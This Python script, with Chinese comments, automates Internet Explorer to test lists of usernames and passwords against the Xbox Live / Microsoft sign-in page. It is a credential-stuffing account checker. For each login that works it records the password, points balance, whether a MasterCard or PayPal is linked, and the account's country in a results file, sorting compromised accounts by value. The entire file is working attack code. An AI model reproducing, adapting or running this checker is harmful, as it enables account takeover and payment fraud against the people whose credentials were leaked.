#!/user/bin/env python
# -*- coding:UTF-8 -*-
'''
'''



import win32com.client
from time import sleep
import sys, time
import pythoncom
import threading
import re


stopEvent=threading.Event()
class EventSink(object): 
    def OnNavigateComplete2(self,*args):
        stopEvent.set()
#wait for ie ok
def waitUntilReady(ie):
    if ie.ReadyState!=4:
        while 1:
            #print("waiting")
            pythoncom.PumpWaitingMessages()
            stopEvent.wait(.2)
            if stopEvent.isSet() or ie.ReadyState==4:
                stopEvent.clear()
                break;

#login_url = 'https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1336294672&rver=6.0.5286.0&wp=MBI&wreply=https:%2F%2Flive.xbox.com:443%2Fxweb%2Flive%2Fpassport%2FsetCookies.ashx%3Frru%3Dhttps%253a%252f%252flive.xbox.com%252fen-US%252fAccount%252fSignin%253freturnUrl%253dhttp%25253a%25252f%25252fwww.xbox.com%25252fen-US%25252f%25253flc%25253d1033&lc=1033&id=66262&cbcxt=0'
data_file_name=sys.argv[1]
threadid=int(sys.argv[2])
min=int(sys.argv[3])
max=int(sys.argv[4])

ie = win32com.client.Dispatch("InternetExplorer.Application")
ie.Visible = 1
#first_url="http://www.xbox.com"
#ie.Navigate(first_url)
#waitUntilReady(ie)
#print(sys.argv)
i=0
result_file=open("result.txt","a");
run_file=open("thread_%d_run.txt"%threadid,"a");
data_file=open(data_file_name)
line=data_file.readline()
while i<min and line:
    line=data_file.readline()
    i=i+1

#逻辑
while i>=min and i<max:

    login_url='https://login.live.com'
    logout_url = 'https://live.xbox.com/Account/Signout'

    line=line.strip()
    sep=line.split("\t")
    if 5>=len(sep):
        i=i+1
        line=data_file.readline()
        continue
    #username='natedogg_w@yahoo.com'
    #password='w12345'
    username=sep[0]
    password=sep[1]

    print("%d\t正在验证 ---> 用户名：%s\t密码:%s"%(i,username,password))
    #sleep(5)

    # log out
    #ie.Navigate(logout_url)
    #waitUntilReady(ie)
    #sleep(2)
    #while ie.Busy:
    #    sleep(1)

    #second_url,login,需要修改成sigin
    second_url="https://live.xbox.com/Account/Signin?returnUrl=http%3a%2f%2fwww.xbox.com%2fen-US%2f"
    ie.Navigate(second_url)
    #print(ie.ReadyState)
    #while ie.Busy:
    #    sleep(1)

    waitUntilReady(ie)

    
    while 1:
        if ie.Document.getElementById("i0116") or ie.Document.getElementById("i1051"):
            break
        else:
            print("sleeping...for username threadid=%d"%threadid)
            sleep(1)
    refresh=0
    if ie.Document.getElementById("i1051"):
        ie.Document.getElementById("i1051").click()
        while not ie.Document.getElementById("i0116"):
            refresh=refresh+1
            print("sleeping...for username 2 threadid=%d"%threadid)
            if refresh>100:
                refresh=0
                line=data_file.readline()
                i=i+1
                ie.Quit()
                ie = win32com.client.Dispatch("InternetExplorer.Application")
                ie.Visible = 1
                continue
            sleep(1)
    ie.Document.getElementById("i0116").value = username
    ie.Document.getElementById("i0118").value = password
    ie.Document.getElementById("idSIButton9").click()
    waitUntilReady(ie)
    sleep(8)

    #while not (ie.Document.getElementById("points") or ie.Document.getElementById("idSIButton9")):
    #    print("sleeping...for balance or error,threadid=%d"%threadid)
    #    sleep(1)
    refresh=0
    #i0278代码登陆失败，是左边的那个大的框
    while 1:
        if(ie.Document.getElementById("points") or ie.Document.getElementById("i0278")):
            break
        else:
            print("sleeping...for balance or error,threadid=%d"%threadid)
            sleep(1)
    #如何判断有没有登陆成功？
    if ie.Document.getElementById("i0278"):
        run_file.write("%d 用户名:%s 密码:%s ---- 密码错误\n"%(i,username,password))
        print("%d-R\t密码错误 ---> 用户名：%s\t密码:%s"%(i,username,password))
        line=data_file.readline()
        i=i+1
        continue

    refresh=0;
    #while not ie.Document.getElementById("points").firstChild:
    #    print("sleeping...for firstChild threadid=%d"%threadid)
    #    sleep(1)
    balance = 1234
    #balance = str(ie.Document.getElementById('points').firstChild.innerText)

    #获得国家信息
    state_url = ie.Document.getElementById('points').nextSibling.firstChild.href
    regex=r"com/(.+)/Account"
    country=re.search(regex,state_url).groups()[0];
    
    ie.Document.getElementById('points').nextSibling.firstChild.click()
    waitUntilReady(ie)
    #sleep(30)
    while not ie.Document.getElementById("BodyContent").firstChild:
        print("sleeping...for BodyContent threadid=%d"%threadid)
        sleep(1)
    PP_AND_CARD=ie.Document.getElementById("BodyContent").innerText

    #必须去等这个PointsBalance
    while not ie.Document.getElementById("PointsBalance"):
        print("sleeping...for PointsBalance threadid=%d"%threadid)
        sleep(1)
    balance_nodes=ie.Document.getElementById("PointsBalance").firstChild.childNodes
    balance=balance_nodes[2].innerText
    regex=r"MasterCard:"
    bound = re.search(regex,PP_AND_CARD);
    regex=r"PayPal:"
    pp = re.search(regex,PP_AND_CARD);

    if bound:
        bound = '有绑定'
    else:
        bound = '无绑定'
    if pp:
        pp = '有pp'
    else:
        pp = '无pp'

    res="%s %s %s %s %s %s" % (username, password, balance,bound, pp, country)
    print("%d-R\t"%i+res)
    result_file.write(res+"\n")
    run_file.write("%d 用户名:%s 密码:%s ---- 密码正确\n"%(i,username,password))

    # log out
    ie.Document.getElementById("AdditionalLinks").nextSibling.firstChild.click()
    waitUntilReady(ie)
    sleep(12)
    #if(ie.Document.getElementById("AdditionalLinks")):
    #    ie.Document.getElementById("AdditionalLinks").nextSibling.firstChild.click()
    #    print("quit again 8...")
    #    sleep(16)
    line=data_file.readline()
    i=i+1
    
    


#退出ie
ie.Quit()
result_file.close()
run_file.close()
